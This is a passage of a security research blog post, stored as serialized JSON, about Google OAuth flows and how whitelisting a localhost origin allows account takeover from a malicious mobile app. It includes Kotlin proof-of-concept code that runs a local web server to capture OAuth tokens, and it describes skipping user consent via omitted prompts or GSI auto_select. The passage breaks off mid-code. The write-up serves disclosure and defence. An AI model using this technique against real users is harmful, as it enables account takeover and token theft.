exploits.","2025-10-16T12:00:00.000Z",[28673,28672],{"src":97195,"width":94756,"height":11069},"/posts/oauth-misconfigurations/title.png",[97197,97198],"oAuth","exchanges",{"type":16,"children":97200,"toc":99517},[97201,97207,97212,97218,97238,97244,97249,97262,97267,97275,97289,97298,97307,97321,97329,97340,97400,97406,97418,97467,97473,97478,97491,97498,97509,97529,97548,97569,97575,97588,97593,97599,97618,98243,98248,98261,99122,99127,99132,99138,99143,99149,99154,99167,99207,99213,99226,99231,99264,99269,99274,99299,99304,99316,99473,99478,99482,99494,99499,99503,99508,99513],{"type":19,"tag":36,"props":97202,"children":97204},{"id":97203},"exploiting-oauth",[97205],{"type":24,"value":97206},"Exploiting OAuth",{"type":19,"tag":20,"props":97208,"children":97209},{},[97210],{"type":24,"value":97211},"Our main research focus was related to recent vulnerabilities we found in some of our audits. One common issue we find is related to OAuth misconfigurations that can be exploited to achieve account takeover. To understand the vulnerability and the exploit itself, we first need to dig into the different OAuth flows and the configurations that can be made in the Google Cloud Console.",{"type":19,"tag":7050,"props":97213,"children":97215},{"id":97214},"google-authentication-flows",[97216],{"type":24,"value":97217},"Google Authentication Flows",{"type":19,"tag":20,"props":97219,"children":97220},{},[97221,97223,97229,97231,97236],{"type":24,"value":97222},"During our research, we identified various Google Authentication flows that require different exploitation methods. The new/most recent flow is called GSI, which mainly uses ",{"type":19,"tag":27,"props":97224,"children":97226},{"className":97225},[],[97227],{"type":24,"value":97228},"postMessage",{"type":24,"value":97230}," for communication with the Relying Party (RP), and the old one mostly uses ",{"type":19,"tag":27,"props":97232,"children":97234},{"className":97233},[],[97235],{"type":24,"value":67252},{"type":24,"value":97237}," to send the token back to the RP.",{"type":19,"tag":16345,"props":97239,"children":97241},{"id":97240},"gsi-new-flow",[97242],{"type":24,"value":97243},"GSI (New Flow)",{"type":19,"tag":20,"props":97245,"children":97246},{},[97247],{"type":24,"value":97248},"The GSI flow also has two ways to authenticate the user to the RP:",{"type":19,"tag":43,"props":97250,"children":97251},{},[97252,97257],{"type":19,"tag":47,"props":97253,"children":97254},{},[97255],{"type":24,"value":97256},"Using FedCM API",{"type":19,"tag":47,"props":97258,"children":97259},{},[97260],{"type":24,"value":97261},"Without using FedCM API",{"type":19,"tag":20,"props":97263,"children":97264},{},[97265],{"type":24,"value":97266},"FedCM (Federated Credentials Manager) is a new browser API that lets users authenticate natively to an RP using a third-party IdP.",{"type":19,"tag":20,"props":97268,"children":97269},{},[97270],{"type":19,"tag":51,"props":97271,"children":97272},{},[97273],{"type":24,"value":97274},"FedCM Method",{"type":19,"tag":20,"props":97276,"children":97277},{},[97278,97280,97287],{"type":24,"value":97279},"The FedCM method basically follows this ",{"type":19,"tag":269,"props":97281,"children":97284},{"href":97282,"rel":97283},"https://privacysandbox.google.com/cookies/fedcm/why#user-interaction",[273],[97285],{"type":24,"value":97286},"user experience",{"type":24,"value":97288},". Users can log in by clicking a login button (which will open a \"choose your account\" prompt window) or by 1-tap UX (see images below).",{"type":19,"tag":20,"props":97290,"children":97291},{},[97292,97294],{"type":24,"value":97293},"The normal flow, clicking the \"sign in\" button:\n",{"type":19,"tag":1344,"props":97295,"children":97297},{"alt":48061,"src":97296},"/posts/oauth-misconfigurations/image1.png",[],{"type":19,"tag":20,"props":97299,"children":97300},{},[97301,97303],{"type":24,"value":97302},"One-Tap popup shown when you open the page:\n",{"type":19,"tag":1344,"props":97304,"children":97306},{"alt":48061,"src":97305},"/posts/oauth-misconfigurations/image2.png",[],{"type":19,"tag":20,"props":97308,"children":97309},{},[97310,97312,97319],{"type":24,"value":97311},"Both flows use FedCM API to authenticate using Google IdP service, which makes some CORS requests to the IdP server to return the token. After authenticating the first time, when the user returns to the same website after some time, it is possible to automatically reauthenticate using ",{"type":19,"tag":269,"props":97313,"children":97316},{"href":97314,"rel":97315},"https://github.com/w3c-fedid/FedCM/issues/429",[273],[97317],{"type":24,"value":97318},"FedCM auto-reauthentication",{"type":24,"value":97320},", which has certain preconditions that must be met.",{"type":19,"tag":20,"props":97322,"children":97323},{},[97324],{"type":19,"tag":51,"props":97325,"children":97326},{},[97327],{"type":24,"value":97328},"Non-FedCM Method",{"type":19,"tag":20,"props":97330,"children":97331},{},[97332,97334,97339],{"type":24,"value":97333},"This method uses a popup window (or iframe) to open the Google OAuth consent page and return the token via ",{"type":19,"tag":27,"props":97335,"children":97337},{"className":97336},[],[97338],{"type":24,"value":97228},{"type":24,"value":1922},{"type":19,"tag":2869,"props":97341,"children":97342},{},[97343,97348,97372,97377,97388],{"type":19,"tag":47,"props":97344,"children":97345},{},[97346],{"type":24,"value":97347},"The user clicks the sign in button",{"type":19,"tag":47,"props":97349,"children":97350},{},[97351,97353,97359,97361,97366,97367],{"type":24,"value":97352},"RP opens a popup/iframe to ",{"type":19,"tag":269,"props":97354,"children":97357},{"href":97355,"rel":97356},"https://accounts.google.com/o/oauth2/v2/auth",[273],[97358],{"type":24,"value":97355},{"type":24,"value":97360}," with some important parameters like ",{"type":19,"tag":27,"props":97362,"children":97364},{"className":97363},[],[97365],{"type":24,"value":67084},{"type":24,"value":8436},{"type":19,"tag":27,"props":97368,"children":97370},{"className":97369},[],[97371],{"type":24,"value":37611},{"type":19,"tag":47,"props":97373,"children":97374},{},[97375],{"type":24,"value":97376},"The user clicks the \"Continue\" button to authorize authentication",{"type":19,"tag":47,"props":97378,"children":97379},{},[97380,97382],{"type":24,"value":97381},"They get redirected to ",{"type":19,"tag":269,"props":97383,"children":97386},{"href":97384,"rel":97385},"https://accounts.google.com/gsi/transform",[273],[97387],{"type":24,"value":97384},{"type":19,"tag":47,"props":97389,"children":97390},{},[97391,97393,97398],{"type":24,"value":97392},"/gsi/transform sends the token back to the RP via ",{"type":19,"tag":27,"props":97394,"children":97396},{"className":97395},[],[97397],{"type":24,"value":97228},{"type":24,"value":97399}," (after some SYN/ACK messages)",{"type":19,"tag":16345,"props":97401,"children":97403},{"id":97402},"oauth-20-old-flow",[97404],{"type":24,"value":97405},"OAuth 2.0 Old Flow",{"type":19,"tag":20,"props":97407,"children":97408},{},[97409,97411,97416],{"type":24,"value":97410},"The old flow also redirects the user to the Google OAuth consent page and then returns the token via a ",{"type":19,"tag":27,"props":97412,"children":97414},{"className":97413},[],[97415],{"type":24,"value":67252},{"type":24,"value":97417}," provided in the URL and validated by a whitelist configuration:",{"type":19,"tag":2869,"props":97419,"children":97420},{},[97421,97425,97446,97450],{"type":19,"tag":47,"props":97422,"children":97423},{},[97424],{"type":24,"value":97347},{"type":19,"tag":47,"props":97426,"children":97427},{},[97428,97429,97434,97435,97440,97441],{"type":24,"value":97352},{"type":19,"tag":269,"props":97430,"children":97432},{"href":97355,"rel":97431},[273],[97433],{"type":24,"value":97355},{"type":24,"value":97360},{"type":19,"tag":27,"props":97436,"children":97438},{"className":97437},[],[97439],{"type":24,"value":67084},{"type":24,"value":8436},{"type":19,"tag":27,"props":97442,"children":97444},{"className":97443},[],[97445],{"type":24,"value":67252},{"type":19,"tag":47,"props":97447,"children":97448},{},[97449],{"type":24,"value":97376},{"type":19,"tag":47,"props":97451,"children":97452},{},[97453,97454,97459,97461],{"type":24,"value":97381},{"type":19,"tag":27,"props":97455,"children":97457},{"className":97456},[],[97458],{"type":24,"value":67252},{"type":24,"value":97460}," with the token in the query parameters or ",{"type":19,"tag":27,"props":97462,"children":97464},{"className":97463},[],[97465],{"type":24,"value":97466},"location.hash",{"type":19,"tag":16345,"props":97468,"children":97470},{"id":97469},"different-configurations",[97471],{"type":24,"value":97472},"Different Configurations",{"type":19,"tag":20,"props":97474,"children":97475},{},[97476],{"type":24,"value":97477},"These two flows must be configured differently in the Google Cloud Console. There are two whitelist configurations that we can control:",{"type":19,"tag":43,"props":97479,"children":97480},{},[97481,97486],{"type":19,"tag":47,"props":97482,"children":97483},{},[97484],{"type":24,"value":97485},"Authorized origins",{"type":19,"tag":47,"props":97487,"children":97488},{},[97489],{"type":24,"value":97490},"Authorized redirect URIs",{"type":19,"tag":20,"props":97492,"children":97493},{},[97494],{"type":19,"tag":1344,"props":97495,"children":97497},{"alt":48061,"src":97496},"/posts/oauth-misconfigurations/image3.png",[],{"type":19,"tag":20,"props":97499,"children":97500},{},[97501,97503,97508],{"type":24,"value":97502},"The described GSI flow doesn't use any redirection to send the token back to the RP, so the authorized redirect URI is not that important in the GSI flow. It uses the authorized origins to verify if the RP page is actually allowed to be authenticated using that ",{"type":19,"tag":27,"props":97504,"children":97506},{"className":97505},[],[97507],{"type":24,"value":67084},{"type":24,"value":948},{"type":19,"tag":20,"props":97510,"children":97511},{},[97512,97514,97520,97522,97527],{"type":24,"value":97513},"The actual verification in the GSI flow happens in the CORS requests made by FedCM or in ",{"type":19,"tag":27,"props":97515,"children":97517},{"className":97516},[],[97518],{"type":24,"value":97519},"/oauth2/v2/auth",{"type":24,"value":97521}," by checking the ",{"type":19,"tag":27,"props":97523,"children":97525},{"className":97524},[],[97526],{"type":24,"value":37611},{"type":24,"value":97528}," query parameter.",{"type":19,"tag":20,"props":97530,"children":97531},{},[97532,97534,97539,97541,97546],{"type":24,"value":97533},"In the old flow, the ",{"type":19,"tag":27,"props":97535,"children":97537},{"className":97536},[],[97538],{"type":24,"value":67252},{"type":24,"value":97540}," parameter passed in the ",{"type":19,"tag":27,"props":97542,"children":97544},{"className":97543},[],[97545],{"type":24,"value":97519},{"type":24,"value":97547}," endpoint is validated against the authorized redirect URIs.",{"type":19,"tag":20,"props":97549,"children":97550},{},[97551,97553,97558,97560,97567],{"type":24,"value":97552},"Note that the new GSI flow can also have a different flow using ",{"type":19,"tag":27,"props":97554,"children":97556},{"className":97555},[],[97557],{"type":24,"value":67252},{"type":24,"value":97559}," validation. To execute this flow, you need to specify ",{"type":19,"tag":269,"props":97561,"children":97564},{"href":97562,"rel":97563},"https://developers.google.com/identity/gsi/web/reference/js-reference#login_uri",[273],[97565],{"type":24,"value":97566},"login_uri",{"type":24,"value":97568}," while using the SDK.",{"type":19,"tag":7050,"props":97570,"children":97572},{"id":97571},"localhost-exploit",[97573],{"type":24,"value":97574},"Localhost Exploit",{"type":19,"tag":20,"props":97576,"children":97577},{},[97578,97580,97586],{"type":24,"value":97579},"During one of our audits, we found a bug related to how developers test the OAuth flow in their development environment. Developers often whitelist the ",{"type":19,"tag":27,"props":97581,"children":97583},{"className":97582},[],[97584],{"type":24,"value":97585},"localhost",{"type":24,"value":97587}," origin because it is considered trusted for local testing.",{"type":19,"tag":20,"props":97589,"children":97590},{},[97591],{"type":24,"value":97592},"Actually, this is partially true, as it depends on which security assumptions you make. This can be an issue in a mobile environment, as mobile apps can open localhost webservers without many permissions, and having a malicious app installed is not considered a significant issue on mobile since all applications are sandboxed. This configuration allows a malicious application to \"escape\" the sandbox and attack another system.",{"type":19,"tag":16345,"props":97594,"children":97596},{"id":97595},"exploit",[97597],{"type":24,"value":97598},"Exploit",{"type":19,"tag":20,"props":97600,"children":97601},{},[97602,97604,97609,97610,97616],{"type":24,"value":97603},"To exploit this misconfiguration, we first needed to understand the OAuth flow used by the target. If the OAuth implementation follows a standard flow without using Google Sign-In (GSI), we can extract the token via ",{"type":19,"tag":27,"props":97605,"children":97607},{"className":97606},[],[97608],{"type":24,"value":97466},{"type":24,"value":10579},{"type":19,"tag":27,"props":97611,"children":97613},{"className":97612},[],[97614],{"type":24,"value":97615},"location.search",{"type":24,"value":97617},". To achieve this, we developed a Kotlin application that spins up a local web server:",{"type":19,"tag":158,"props":97619,"children":97623},{"className":97620,"code":97621,"language":97622,"meta":7,"style":7},"language-kt shiki shiki-themes slack-dark"," override fun onCreate(savedInstanceState: Bundle?){\n super.onCreate(savedInstanceState)\n\n // Start the Ktor web server\n CoroutineScope(Dispatchers.IO).launch {\n try {\n startWebServer()\n Log.d(\"WebServer\", \"Server started on http://localhost:3000\")\n } catch (e: Exception) {\n Log.e(\"WebServer\", \"Error starting server: ${e.message}\", e)\n }\n }\n\n // Open the Google OAuth page\n val googleOAuthUrl = \"https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?client_id=redacted&redirect_uri=http://localhost:3000/auth/index.html&response_type=id_token&scope=email&nonce=redacted&prompt=select_account&service=lso&o2v=2&flowName=GeneralOAuthFlow\"\n val browserIntent = Intent(Intent.ACTION_VIEW, Uri.parse(googleOAuthUrl))\n startActivity(browserIntent)\n }\n\n private fun startWebServer() {\n embeddedServer(CIO, port = 3000) {\n routing {\n get(\"{...}\") {\n call.respondHtml {\n head {\n meta(charset = \"UTF-8\")\n meta(name = \"viewport\", content = \"width=device-width, initial-scale=1.0\")\n title(\"OAuth Redirect\")\n }\n body {\n h1 { +\"Google OAuth Redirect\" }\n script {\n +\"document.body.innerText = location.hash;\"\n }\n }\n }\n }\n }\n }.start(wait = true)\n }\n","kt",[97624],{"type":19,"tag":27,"props":97625,"children":97626},{"__ignoreMap":7},[97627,97656,97675,97682,97689,97708,97719,97730,97761,97784,97831,97838,97845,97852,97859,97879,97910,97921,97928,97935,97954,97977,97988,98007,98022,98033,98056,98091,98110,98117,98128,98151,98162,98174,98181,98188,98195,98202,98209,98236],{"type":19,"tag":168,"props":97628,"children":97629},{"class":170,"line":171},[97630,97635,97639,97643,97647,97651],{"type":19,"tag":168,"props":97631,"children":97632},{"style":382},[97633],{"type":24,"value":97634}," override",{"type":19,"tag":168,"props":97636,"children":97637},{"style":382},[97638],{"type":24,"value":3642},{"type":19,"tag":168,"props":97640,"children":97641},{"style":175},[97642],{"type":24,"value":67940},{"type":19,"tag":168,"props":97644,"children":97645},{"style":212},[97646],{"type":24,"value":67945},{"type":19,"tag":168,"props":97648,"children":97649},{"style":825},[97650],{"type":24,"value":67950},{"type":19,"tag":168,"props":97652,"children":97653},{"style":212},[97654],{"type":24,"value":97655},"?){\n",{"type":19,"tag":168,"props":97657,"children":97658},{"class":170,"line":198},[97659,97663,97667,97671],{"type":19,"tag":168,"props":97660,"children":97661},{"style":382},[97662],{"type":24,"value":67963},{"type":19,"tag":168,"props":97664,"children":97665},{"style":212},[97666],{"type":24,"value":948},{"type":19,"tag":168,"props":97668,"children":97669},{"style":175},[97670],{"type":24,"value":67972},{"type":19,"tag":168,"props":97672,"children":97673},{"style":212},[97674],{"type":24,"value":67977},{"type":19,"tag":168,"props":97676,"children":97677},{"class":170,"line":415},[97678],{"type":19,"tag":168,"props":97679,"children":97680},{"emptyLinePlaceholder":14},[97681],{"type":24,"value":1093},{"type":19,"tag":168,"props":97683,"children":97684},{"class":170,"line":450},[97685],{"type":19,"tag":168,"props":97686,"children":97687},{"style":373},[97688],{"type":24,"value":67992},{"type":19,"tag":168,"props":97690,"children":97691},{"class":170,"line":560},[97692,97696,97700,97704],{"type":19,"tag":168,"props":97693,"children":97694},{"style":175},[97695],{"type":24,"value":68000},{"type":19,"tag":168,"props":97697,"children":97698},{"style":212},[97699],{"type":24,"value":68005},{"type":19,"tag":168,"props":97701,"children":97702},{"style":175},[97703],{"type":24,"value":68010},{"type":19,"tag":168,"props":97705,"children":97706},{"style":212},[97707],{"type":24,"value":691},{"type":19,"tag":168,"props":97709,"children":97710},{"class":170,"line":666},[97711,97715],{"type":19,"tag":168,"props":97712,"children":97713},{"style":419},[97714],{"type":24,"value":68022},{"type":19,"tag":168,"props":97716,"children":97717},{"style":212},[97718],{"type":24,"value":691},{"type":19,"tag":168,"props":97720,"children":97721},{"class":170,"line":694},[97722,97726],{"type":19,"tag":168,"props":97723,"children":97724},{"style":175},[97725],{"type":24,"value":68034},{"type":19,"tag":168,"props":97727,"children":97728},{"style":212},[97729],{"type":24,"value":5172},{"type":19,"tag":168,"props":97731,"children":97732},{"class":170,"line":707},[97733,97737,97741,97745,97749,97753,97757],{"type":19,"tag":168,"props":97734,"children":97735},{"style":212},[97736],{"type":24,"value":68046},{"type":19,"tag":168,"props":97738,"children":97739},{"style":175},[97740],{"type":24,"value":68051},{"type":19,"tag":168,"props":97742,"children":97743},{"style":212},[97744],{"type":24,"value":500},{"type":19,"tag":168,"props":97746,"children":97747},{"style":181},[97748],{"type":24,"value":68060},{"type":19,"tag":168,"props":97750,"children":97751},{"style":212},[97752],{"type":24,"value":471},{"type":19,"tag":168,"props":97754,"children":97755},{"style":181},[97756],{"type":24,"value":68069},{"type":19,"tag":168,"props":97758,"children":97759},{"style":212},[97760],{"type":24,"value":557},{"type":19,"tag":168,"props":97762,"children":97763},{"class":170,"line":725},[97764,97768,97772,97776,97780],{"type":19,"tag":168,"props":97765,"children":97766},{"style":212},[97767],{"type":24,"value":68081},{"type":19,"tag":168,"props":97769,"children":97770},{"style":382},[97771],{"type":24,"value":45893},{"type":19,"tag":168,"props":97773,"children":97774},{"style":212},[97775],{"type":24,"value":68090},{"type":19,"tag":168,"props":97777,"children":97778},{"style":825},[97779],{"type":24,"value":68095},{"type":19,"tag":168,"props":97781,"children":97782},{"style":212},[97783],{"type":24,"value":12250},{"type":19,"tag":168,"props":97785,"children":97786},{"class":170,"line":746},[97787,97791,97795,97799,97803,97807,97811,97815,97819,97823,97827],{"type":19,"tag":168,"props":97788,"children":97789},{"style":212},[97790],{"type":24,"value":68046},{"type":19,"tag":168,"props":97792,"children":97793},{"style":175},[97794],{"type":24,"value":48937},{"type":19,"tag":168,"props":97796,"children":97797},{"style":212},[97798],{"type":24,"value":500},{"type":19,"tag":168,"props":97800,"children":97801},{"style":181},[97802],{"type":24,"value":68060},{"type":19,"tag":168,"props":97804,"children":97805},{"style":212},[97806],{"type":24,"value":471},{"type":19,"tag":168,"props":97808,"children":97809},{"style":181},[97810],{"type":24,"value":68127},{"type":19,"tag":168,"props":97812,"children":97813},{"style":382},[97814],{"type":24,"value":31582},{"type":19,"tag":168,"props":97816,"children":97817},{"style":399},[97818],{"type":24,"value":68136},{"type":19,"tag":168,"props":97820,"children":97821},{"style":382},[97822],{"type":24,"value":31614},{"type":19,"tag":168,"props":97824,"children":97825},{"style":181},[97826],{"type":24,"value":17514},{"type":19,"tag":168,"props":97828,"children":97829},{"style":212},[97830],{"type":24,"value":68149},{"type":19,"tag":168,"props":97832,"children":97833},{"class":170,"line":755},[97834],{"type":19,"tag":168,"props":97835,"children":97836},{"style":212},[97837],{"type":24,"value":56369},{"type":19,"tag":168,"props":97839,"children":97840},{"class":170,"line":1008},[97841],{"type":19,"tag":168,"props":97842,"children":97843},{"style":212},[97844],{"type":24,"value":752},{"type":19,"tag":168,"props":97846,"children":97847},{"class":170,"line":1025},[97848],{"type":19,"tag":168,"props":97849,"children":97850},{"emptyLinePlaceholder":14},[97851],{"type":24,"value":1093},{"type":19,"tag":168,"props":97853,"children":97854},{"class":170,"line":1042},[97855],{"type":19,"tag":168,"props":97856,"children":97857},{"style":373},[97858],{"type":24,"value":68178},{"type":19,"tag":168,"props":97860,"children":97861},{"class":170,"line":1055},[97862,97866,97870,97874],{"type":19,"tag":168,"props":97863,"children":97864},{"style":382},[97865],{"type":24,"value":68186},{"type":19,"tag":168,"props":97867,"children":97868},{"style":212},[97869],{"type":24,"value":68191},{"type":19,"tag":168,"props":97871,"children":97872},{"style":399},[97873],{"type":24,"value":486},{"type":19,"tag":168,"props":97875,"children":97876},{"style":181},[97877],{"type":24,"value":97878}," \"https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?client_id=redacted&redirect_uri=http://localhost:3000/auth/index.html&response_type=id_token&scope=email&nonce=redacted&prompt=select_account&service=lso&o2v=2&flowName=GeneralOAuthFlow\"\n",{"type":19,"tag":168,"props":97880,"children":97881},{"class":170,"line":1064},[97882,97886,97890,97894,97898,97902,97906],{"type":19,"tag":168,"props":97883,"children":97884},{"style":382},[97885],{"type":24,"value":68186},{"type":19,"tag":168,"props":97887,"children":97888},{"style":212},[97889],{"type":24,"value":68212},{"type":19,"tag":168,"props":97891,"children":97892},{"style":399},[97893],{"type":24,"value":486},{"type":19,"tag":168,"props":97895,"children":97896},{"style":175},[97897],{"type":24,"value":68221},{"type":19,"tag":168,"props":97899,"children":97900},{"style":212},[97901],{"type":24,"value":68226},{"type":19,"tag":168,"props":97903,"children":97904},{"style":175},[97905],{"type":24,"value":36687},{"type":19,"tag":168,"props":97907,"children":97908},{"style":212},[97909],{"type":24,"value":68235},{"type":19,"tag":168,"props":97911,"children":97912},{"class":170,"line":1087},[97913,97917],{"type":19,"tag":168,"props":97914,"children":97915},{"style":175},[97916],{"type":24,"value":68243},{"type":19,"tag":168,"props":97918,"children":97919},{"style":212},[97920],{"type":24,"value":68248},{"type":19,"tag":168,"props":97922,"children":97923},{"class":170,"line":1096},[97924],{"type":19,"tag":168,"props":97925,"children":97926},{"style":212},[97927],{"type":24,"value":761},{"type":19,"tag":168,"props":97929,"children":97930},{"class":170,"line":1105},[97931],{"type":19,"tag":168,"props":97932,"children":97933},{"emptyLinePlaceholder":14},[97934],{"type":24,"value":1093},{"type":19,"tag":168,"props":97936,"children":97937},{"class":170,"line":1174},[97938,97942,97946,97950],{"type":19,"tag":168,"props":97939,"children":97940},{"style":382},[97941],{"type":24,"value":68270},{"type":19,"tag":168,"props":97943,"children":97944},{"style":382},[97945],{"type":24,"value":3642},{"type":19,"tag":168,"props":97947,"children":97948},{"style":175},[97949],{"type":24,"value":68279},{"type":19,"tag":168,"props":97951,"children":97952},{"style":212},[97953],{"type":24,"value":13184},{"type":19,"tag":168,"props":97955,"children":97956},{"class":170,"line":1182},[97957,97961,97965,97969,97973],{"type":19,"tag":168,"props":97958,"children":97959},{"style":175},[97960],{"type":24,"value":68291},{"type":19,"tag":168,"props":97962,"children":97963},{"style":212},[97964],{"type":24,"value":68296},{"type":19,"tag":168,"props":97966,"children":97967},{"style":399},[97968],{"type":24,"value":486},{"type":19,"tag":168,"props":97970,"children":97971},{"style":192},[97972],{"type":24,"value":68305},{"type":19,"tag":168,"props":97974,"children":97975},{"style":212},[97976],{"type":24,"value":12250},{"type":19,"tag":168,"props":97978,"children":97979},{"class":170,"line":1212},[97980,97984],{"type":19,"tag":168,"props":97981,"children":97982},{"style":175},[97983],{"type":24,"value":68317},{"type":19,"tag":168,"props":97985,"children":97986},{"style":212},[97987],{"type":24,"value":691},{"type":19,"tag":168,"props":97989,"children":97990},{"class":170,"line":1220},[97991,97995,97999,98003],{"type":19,"tag":168,"props":97992,"children":97993},{"style":382},[97994],{"type":24,"value":68329},{"type":19,"tag":168,"props":97996,"children":97997},{"style":212},[97998],{"type":24,"value":500},{"type":19,"tag":168,"props":98000,"children":98001},{"style":181},[98002],{"type":24,"value":68338},{"type":19,"tag":168,"props":98004,"children":98005},{"style":212},[98006],{"type":24,"value":12250},{"type":19,"tag":168,"props":98008,"children":98009},{"class":170,"line":1252},[98010,98014,98018],{"type":19,"tag":168,"props":98011,"children":98012},{"style":212},[98013],{"type":24,"value":68350},{"type":19,"tag":168,"props":98015,"children":98016},{"style":175},[98017],{"type":24,"value":68355},{"type":19,"tag":168,"props":98019,"children":98020},{"style":212},[98021],{"type":24,"value":691},{"type":19,"tag":168,"props":98023,"children":98024},{"class":170,"line":1260},[98025,98029],{"type":19,"tag":168,"props":98026,"children":98027},{"style":175},[98028],{"type":24,"value":68367},{"type":19,"tag":168,"props":98030,"children":98031},{"style":212},[98032],{"type":24,"value":691},{"type":19,"tag":168,"props":98034,"children":98035},{"class":170,"line":1320},[98036,98040,98044,98048,98052],{"type":19,"tag":168,"props":98037,"children":98038},{"style":175},[98039],{"type":24,"value":68379},{"type":19,"tag":168,"props":98041,"children":98042},{"style":212},[98043],{"type":24,"value":68384},{"type":19,"tag":168,"props":98045,"children":98046},{"style":399},[98047],{"type":24,"value":486},{"type":19,"tag":168,"props":98049,"children":98050},{"style":181},[98051],{"type":24,"value":68393},{"type":19,"tag":168,"props":98053,"children":98054},{"style":212},[98055],{"type":24,"value":557},{"type":19,"tag":168,"props":98057,"children":98058},{"class":170,"line":6486},[98059,98063,98067,98071,98075,98079,98083,98087],{"type":19,"tag":168,"props":98060,"children":98061},{"style":175},[98062],{"type":24,"value":68379},{"type":19,"tag":168,"props":98064,"children":98065},{"style":212},[98066],{"type":24,"value":68409},{"type":19,"tag":168,"props":98068,"children":98069},{"style":399},[98070],{"type":24,"value":486},{"type":19,"tag":168,"props":98072,"children":98073},{"style":181},[98074],{"type":24,"value":68418},{"type":19,"tag":168,"props":98076,"children":98077},{"style":212},[98078],{"type":24,"value":68423},{"type":19,"tag":168,"props":98080,"children":98081},{"style":399},[98082],{"type":24,"value":486},{"type":19,"tag":168,"props":98084,"children":98085},{"style":181},[98086],{"type":24,"value":68432},{"type":19,"tag":168,"props":98088,"children":98089},{"style":212},[98090],{"type":24,"value":557},{"type":19,"tag":168,"props":98092,"children":98093},{"class":170,"line":6504},[98094,98098,98102,98106],{"type":19,"tag":168,"props":98095,"children":98096},{"style":175},[98097],{"type":24,"value":68444},{"type":19,"tag":168,"props":98099,"children":98100},{"style":212},[98101],{"type":24,"value":500},{"type":19,"tag":168,"props":98103,"children":98104},{"style":181},[98105],{"type":24,"value":68453},{"type":19,"tag":168,"props":98107,"children":98108},{"style":212},[98109],{"type":24,"value":557},{"type":19,"tag":168,"props":98111,"children":98112},{"class":170,"line":6549},[98113],{"type":19,"tag":168,"props":98114,"children":98115},{"style":212},[98116],{"type":24,"value":68465},{"type":19,"tag":168,"props":98118,"children":98119},{"class":170,"line":6655},[98120,98124],{"type":19,"tag":168,"props":98121,"children":98122},{"style":175},[98123],{"type":24,"value":68473},{"type":19,"tag":168,"props":98125,"children":98126},{"style":212},[98127],{"type":24,"value":691},{"type":19,"tag":168,"props":98129,"children":98130},{"class":170,"line":20965},[98131,98135,98139,98143,98147],{"type":19,"tag":168,"props":98132,"children":98133},{"style":175},[98134],{"type":24,"value":68485},{"type":19,"tag":168,"props":98136,"children":98137},{"style":212},[98138],{"type":24,"value":7027},{"type":19,"tag":168,"props":98140,"children":98141},{"style":399},[98142],{"type":24,"value":1811},{"type":19,"tag":168,"props":98144,"children":98145},{"style":181},[98146],{"type":24,"value":68498},{"type":19,"tag":168,"props":98148,"children":98149},{"style":212},[98150],{"type":24,"value":7037},{"type":19,"tag":168,"props":98152,"children":98153},{"class":170,"line":21000},[98154,98158],{"type":19,"tag":168,"props":98155,"children":98156},{"style":175},[98157],{"type":24,"value":68510},{"type":19,"tag":168,"props":98159,"children":98160},{"style":212},[98161],{"type":24,"value":691},{"type":19,"tag":168,"props":98163,"children":98164},{"class":170,"line":21008},[98165,98169],{"type":19,"tag":168,"props":98166,"children":98167},{"style":399},[98168],{"type":24,"value":68522},{"type":19,"tag":168,"props":98170,"children":98171},{"style":181},[98172],{"type":24,"value":98173},"\"document.body.innerText = location.hash;\"\n",{"type":19,"tag":168,"props":98175,"children":98176},{"class":170,"line":21016},[98177],{"type":19,"tag":168,"props":98178,"children":98179},{"style":212},[98180],{"type":24,"value":68535},{"type":19,"tag":168,"props":98182,"children":98183},{"class":170,"line":21025},[98184],{"type":19,"tag":168,"props":98185,"children":98186},{"style":212},[98187],{"type":24,"value":68465},{"type":19,"tag":168,"props":98189,"children":98190},{"class":170,"line":21067},[98191],{"type":19,"tag":168,"props":98192,"children":98193},{"style":212},[98194],{"type":24,"value":68550},{"type":19,"tag":168,"props":98196,"children":98197},{"class":170,"line":21100},[98198],{"type":19,"tag":168,"props":98199,"children":98200},{"style":212},[98201],{"type":24,"value":68558},{"type":19,"tag":168,"props":98203,"children":98204},{"class":170,"line":21108},[98205],{"type":19,"tag":168,"props":98206,"children":98207},{"style":212},[98208],{"type":24,"value":56369},{"type":19,"tag":168,"props":98210,"children":98211},{"class":170,"line":21116},[98212,98216,98220,98224,98228,98232],{"type":19,"tag":168,"props":98213,"children":98214},{"style":212},[98215],{"type":24,"value":68573},{"type":19,"tag":168,"props":98217,"children":98218},{"style":175},[98219],{"type":24,"value":68578},{"type":19,"tag":168,"props":98221,"children":98222},{"style":212},[98223],{"type":24,"value":68583},{"type":19,"tag":168,"props":98225,"children":98226},{"style":399},[98227],{"type":24,"value":486},{"type":19,"tag":168,"props":98229,"children":98230},{"style":382},[98231],{"type":24,"value":9914},{"type":19,"tag":168,"props":98233,"children":98234},{"style":212},[98235],{"type":24,"value":557},{"type":19,"tag":168,"props":98237,"children":98238},{"class":170,"line":21125},[98239],{"type":19,"tag":168,"props":98240,"children":98241},{"style":212},[98242],{"type":24,"value":761},{"type":19,"tag":20,"props":98244,"children":98245},{},[98246],{"type":24,"value":98247},"In this case, the prompt parameter can be omitted from the URL. This way, if the victim is already logged in, the OAuth 2.0 prompt interaction will be skipped.",{"type":19,"tag":20,"props":98249,"children":98250},{},[98251,98253,98259],{"type":24,"value":98252},"If Google Sign-In (GSI) is being used, we found that it's possible to use the ",{"type":19,"tag":27,"props":98254,"children":98256},{"className":98255},[],[98257],{"type":24,"value":98258},"auto_select",{"type":24,"value":98260}," parameter to trigger automatic reauthentication and bypass user interaction:",{"type":19,"tag":158,"props":98262,"children":98264},{"className":97620,"code":98263,"language":97622,"meta":7,"style":7}," override fun onCreate(savedInstanceState: Bundle?) {\n super.onCreate(savedInstanceState)\n\n CoroutineScope(Dispatchers.IO).launch {\n try {\n startWebServer()\n Log.d(\"WebServer\", \"Server started on http://localhost:3000\")\n } catch (e: Exception) {\n Log.e(\"WebServer\", \"Error starting server: ${e.message}\", e)\n }\n }\n\n val browserIntent = Intent(Intent.ACTION_VIEW, Uri.parse(\"http://localhost:3000\"))\n startActivity(browserIntent)\n }\n\n private fun startWebServer() {\n embeddedServer(CIO, port = 3000) {\n routing {\n get(\"{...}\") {\n call.respondHtml {\n head {\n title(\"Test\")\n script {\n src = \"https://accounts.google.com/gsi/client\"\n attributes[\"async\"] = \"\"\n attributes[\"defer\"] = \"\"\n }\n script {\n unsafe {\n +\"\"\"\n function handleCredentialResponse(response) {\n 